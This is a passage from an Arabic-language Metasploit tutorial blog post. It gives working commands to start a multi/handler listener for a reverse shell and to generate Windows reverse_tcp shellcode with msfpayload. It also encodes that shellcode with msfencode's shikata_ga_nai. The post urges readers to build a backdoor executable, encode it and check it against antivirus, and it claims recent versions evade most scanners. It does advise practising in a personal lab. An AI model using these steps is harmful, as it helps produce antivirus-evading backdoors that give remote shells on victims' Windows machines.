    الأن يجب أن نقوم بتشغيل Exploit Handler ليتولى أمر الاتصال العكسي وينجح الاستغلال, شغّل سطر أوامر المشروع وننفذ الأوامر التالية:
    ./msfconsole
    msf > use multi/handler
    msf exploit(handler) > set LHOST 192.168.2.1
    msf exploit(handler) > exploit


    لاحظ أننا أدخلنا نفس خيارات الباك دوور
    reverse_tcp.exe. عند قيام المستخدم بتشغيل الملف التنفيذي سنحصل على
    revers remote shell كما هو واضح بالصورة التالية:




    الأداة msfencode تقوم بتشفير الشيل كود
    باحدى المشفّرات التي يوفرها المشروع, في البداية نقوم بصناعة الشيل كود
    الذي نريده (بصيغة Raw) ونرسل المخرجات لملف باسم shellcode.raw مثلا
    باستخدام الأمر:

    ./msfpayload windows/shell/reverse_tcp LHOST=192.168.2.1 LPORT=22445 R > shellcode.raw

    الآن نستعرض خيارات الأداة msfencode بتنفذ الأمر:
    ./msfencode -h



    لتشفير الشيل كود الموجود داخل الملف shellcode.raw ننفذ الأمر:
    ./msfencode -i shellcode.raw -e x86/shikata_ga_nai -b'\x00\xff' -t c -o shellcode.c

    في الأمر السابق قمنا بتشفير الشيل كود
    باستخدام المشفّر x86/shikata_ga_nai مع تجنب استخدام الحروف \x00\xff لأن
    هذه الحروف تؤدي لتوقف الشيل كود عن العمل عند تشغيله داخل الذاكرة ثم
    أرسلنا الشيل كود المشفّر للمف shellcode.c لاستخدامه باستغلال مبرمج بلغة
    C. نستطيع استخدام encoder آخر كل ماعلينا هو تنفيذ الأمر:

    ./msfencode -l

    لاستعراض المشفّرات الموجودة داخل
    المشروع, نستطيع استخدام الأداتين msfpayload و msfencode بنفس الوقت
    وتصدير الشيل كود لملف أو طباعته على الشاشة مثلا بشكله النهائي باستخدام
    الأمر:

    ./msfpayload windows/shell/reverse_tcp LHOST=192.168.2.1 LPORT=22445 R | ./msfencode
    -e x86/shikata_ga_nai -b'\x00\xff' -t c




    حسناً حاول أن تقوم بصنع باك بدور لنظام
    ويندوز باستخدام msfpayload ومن ثم تشفيره باحدى المشفّرات الموجودة في
    msfencode وحاول فحصة باستخدام مضاد الفايروسات, الاصدارات الحديثة من
    المشروع تكون غير مكشوفة من معظم مضادات الفايروسات كما تستطيع صنع باكدور
    Meterpreter واستخدامه بنفس الطريق التي استخدمنا فيها باكدور الاتصال
    العكسي reverse_tcp.exe


    أعلم أني أطلت الموضوع كثيرا وفصّلته بشكل
    كبير فلقد أردت تغطية أكبر قدر ممكن من امكانيات مشروع ميتاسبلويت وطريقة
    التعامل معه.. هذا كل شيء حتى الِأن ومن الممكن أن أقوم بكتابة جزء ثالث عن
    مشروع ميتاسبلويت لاحقا أو أضع شرح فيديو في iSecur1ty
    أو أدمج المواضيع السابقة وأنسقها من جديد مع بعض الاضافات ليتم تحويلها
    لكتيّب صغير عن مشروع ميتاسبلويت وكما قلت سابقا Metasploit يتطور بسرعة
    كبيرة ومع كل اصدار جديد يتم اضافة المزيد من الأدوات والخصائص الجديدة
    للمشروع ولذلك أنصح بمتابعة موقع المشروع و المدونة الرسمية أيضا وحاول أن تبقي نفسك على اطلاع بـ مجريات تطوير المشروع.


    ملاحظة:
    استخدام مشروع ميتاسبلويت واستغلال ثغراته يجب أن يتم بدقة وليس من
    الضروري أن تتمكن من استغلال الثغرة واختراق الجهاز من المرة الأولى! يوجد
    أكثر من 100 احتمال لعدم عمل الاستغلال بالشكل المطلوب وهنا يأتي دورك
    لاكتشاف السبب وليس دوري! أنا أشرح طريقة الاستخدام وكيفية التعامل مع
    المشروع لكني لن أتمكن من معرفة لماذا لم يعمل الاستغلال عندك أو لماذا لم
    تتمكن من اختراق الجهاز!! قد تكون المشكلة نقص بالحزم الموجودة في جهازك أو
    من الثغرة, الاعدادات التي اخترتها, الاستغلال أو احدى خياراته, اصدار
    الثغرة, اصدار النظام الذي تحاول اختراقه مختلف, من الممكن أن يكون مدير
    النظام قد حدّث النظام أو أصلح الثغرة أو حتى وجود جدار ناري أو أنظمة
    حماية IDS تمنع تنفيذ الاستغلال… باختصار “Think Out The Box”
    واعتمد على نفسك في حل المشاكل كما أني أنصح بشدة القيام بتطبيق ما قرأته
    داخل Lab خاص بك والتدرب على استخدام مشروع ميتاسبلويت واستغلال ثغراته
    بشكل عملي.


    وبالنهاية أتوقع أنه ليس من الضروري
    التذكير بأن الموضوع خاص بالمدونة وأنا لا أسمح بنقله كاملا أو بدون ذكر
    رابط للمصدر وفي حال أردت نقل الموضوع “للفائدة العامة!!” من الأفضل
    الاكتفاء باقتباس جزء منه و وضع رابط لتكملة قراءته فأنا أبذل الكثير من
    الوقت في الاجابة على الأسئلة التي تطرح بالتعليقات لأنها تحقق الفائدة
    بشكل أكبر وتكمّل النقاط التي نسيت ذكرها في الموضوع.


    - فيديو ميتاسبلويت

      الوقت/التاريخ الآن هو الخميس سبتمبر 21, 2017 4:18 am